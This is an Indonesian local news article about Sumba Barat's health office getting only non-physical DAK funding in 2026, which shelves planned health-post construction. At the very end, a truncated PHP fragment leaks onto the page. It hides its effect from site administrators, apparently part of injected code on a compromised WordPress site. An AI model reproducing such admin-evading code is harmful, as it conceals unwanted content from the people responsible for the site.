Kesehatan

Tahun Depan Dinkes Kabupaten Sumba Barat Hanya Peroleh Kucuran Anggaran DAK Non Fisik

×

Tahun Depan Dinkes Kabupaten Sumba Barat Hanya Peroleh Kucuran Anggaran DAK Non Fisik

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM – Dana Alokasi Khusus (DAK) yang dikucurkan untuk Dinas Kesehatan Kabupaten Sumba Barat pada Tahun Anggaran 2026 hanya untuk kegiatan non fisik.

Kepala Dinas Kesehatan Kabupaten Sumba Barat, drg. Bonar Sinaga menjelaskan hal tersebut saat dikonfirmasi media ini pekan lalu.

“Kalau tahun depan DAK fisik itu sama sekali tidak dapat,” ujarnya.

Padahal, kata Bonar, untuk tahun anggaran 2026 telah direncanakan pembangunan sejumlah Pustu dan Poskesdes sesuai program integrasi layanan primer.

Namun sayang, rencana itu tidak terwujud karena pemberlakuan efisiensi anggaran oleh pemerintah pusat.

Pemerintah, ujarnya lagi, lebih memprioritaskan anggaran untuk DAK non-fisik.

“Meski anggarannya mengalami kenaikan namun dana itu difokuskan untuk kegiatan di Puskesmas,” imbuhnya.

Pihaknya sendiri sudah merencanakan pembangunan beberapa Pustu dan Poskesdes.

Namun rencana ini hanya tercatat dalam desk, karena penganggarannya ditiadakan.

“Cuma waktu terakhir mereka bilang, Pak, kita catat saja dulu,” katanya lebih lanjut.

Setidaknya manakala kelak terbuka peluang saat anggaran tersedia, minimal datanya sudah siap.

Tingkatkan Akses Layanan Baru

Untuk wilayah utara salah satu titik yang disasar adalah Lokori di Kecamatan Tana Righu.

Alasan mendasarnya, di situ terdapat Pelabuhan Laut Bina Natu.

Dukungan sarana ini dimaksudkan apabila akses yang menghubungkan SBD dan Pelabuhan Bina Natu kian lancar.

“Kalau butuh bantuan medis orang tidak mesti kembali ke Malata cukup di Lokori manakala sudah jadi Puskesmas,” timpalnya.

Peningkatan sarana yang sama juga direncanakan untuk wilayah selatan yakni perbaikan Pustu Wee Tana di Kecamatan Lamboya Barat.

Perencanaan ini tetap dilakukan meski tidak terwujud akibat keterbatasan anggaran.

“Dari sisi perencanaan kita selalu update, karena di kementerian ada yang namanya Kolaborasi Perencanaan dan Informasi Kinerja Anggaran (Krisna), dan kita beri data pendukung,” tandas Bonar.

Pihaknya bersyukur, di tengah efisiensi anggaran pemerintah pusat dan defisit APBD yang mencapai 100 miliar lebih, dinas kesehatan masih peroleh bantuan DAK non-fisik.

Anggaran DAK ini nantinya untuk Biaya Operasional Kesehatan (BOK) yang lebih diarahkan ke Puskesmas.

“Kita dinas juga dapat tapi lebih ke arah pembinaan dan pengawasan program,” tutupnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>